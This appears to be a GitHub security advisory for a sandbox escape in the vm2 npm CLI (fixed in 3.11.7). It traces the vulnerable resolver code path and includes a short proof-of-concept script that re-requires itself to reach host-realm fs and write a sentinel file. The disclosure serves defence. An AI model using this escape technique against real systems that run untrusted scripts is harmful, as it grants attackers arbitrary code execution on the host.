GitHub Advisoryadvisory · npm
GHSA-jxxv-8r27-vm4p vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts
HIGH
Official page ↗
- Aliases
- CVE-2026-92950
- Ecosystem
- npm
- Packages
- vm2
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-1188, CWE-453, CWE-829
- Reviewed
- 2026-10-01
Affected packages
• npm vm2: < 3.11.7 → fixed in 3.11.7
Description
Summary
The `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's "CLI" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the host `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.
Details
The vulnerability lets a malicious sandboxed script - the file argument to the documented `vm2 ` CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.
Vulnerable code path
1. Source - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the
attacker-authored script path. The CLI invokes:
```js
NodeVM.file(path, { verbose: true, require: { external: true } });
```
Without `require.root`, `require.context`, nor `require.builtin`.
2. Hop - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls
`new NodeVM(options).run(body, resolvedFilename)`.
3. Hop - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266`
(`makeResolverFromLegacyOptions`). Destructures `external:true`,
`rootPaths=undefined`, `hostRequire=defaultRequire` (line 218),
`context='host'` (default, line 219). Because `typeof externalOpt !== 'object'`
(line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and
`pathContext = () => 'host'` (line 263).
4. Hop - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox
`require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`).
`lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at
`lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`.
5. Barrier (gap) - `lib/resolver-compat.js:53-54`:
```js
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true;
```
With no `root` configured, every filesystem path is allowed. `checkAccess`
(`lib/resolver.js:39-42`) delegates to the same method.
6. Sink - `lib/resolver-compat.js:74-77`:
```js
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);
const m = this.hostRequire(filename); // ← host-realm require()
mod.exports = vm.readonly(m);
}
```
`hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real
host `require()`. The required module's top-level body executes in the host
realm before `vm.readonly()` wraps the exports; wrapping happens too late to
constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is
identical for `.node` native addons (`process.dlopen` in host).
PoC
Save the following as `/tmp/poc.js`:
```js
'use strict';
try {
// Host realm: fs is available - write sentinel and stop.
const fs = require('fs');
fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
console.log('HOST realm: wrote /tmp/vm2.proof');
} catch (e) {
// Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -
// the CLI resolver loads it via host require() (resolver-compat.js:76).
console.log('sandbox realm: fs blocked (' + e.message + '); escaping');
require(__filename);
}
```
Run via the shipped CLI exactly as the README documents:
```sh
node ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2`
```
Observed output:
```
sandbox realm: fs blocked (Cannot find module 'fs'); escaping
HOST realm: wrote /tmp/vm2.proof
```
`/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose
direct `require('fs')` was blocked by the sandbox. The first line proves the
boundary exists; the second proves it was crossed.
Impact
A user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an
attacker-supplied file gets arbitrary code execution as that user - the
sandbox provides no isolation in this configuration. The blast radius is the
full host Node.js process: `fs`, `child_process`, `process.dlopen`, network,
environment.
Related
Alias · CVE (1)
- CVE-2026-92950 vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host… vulnerability
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p web
- https://nvd.nist.gov/vuln/detail/CVE-2026-92950 advisory
- https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86 web
- https://github.com/patriksimek/vm2 package
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7 web
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require web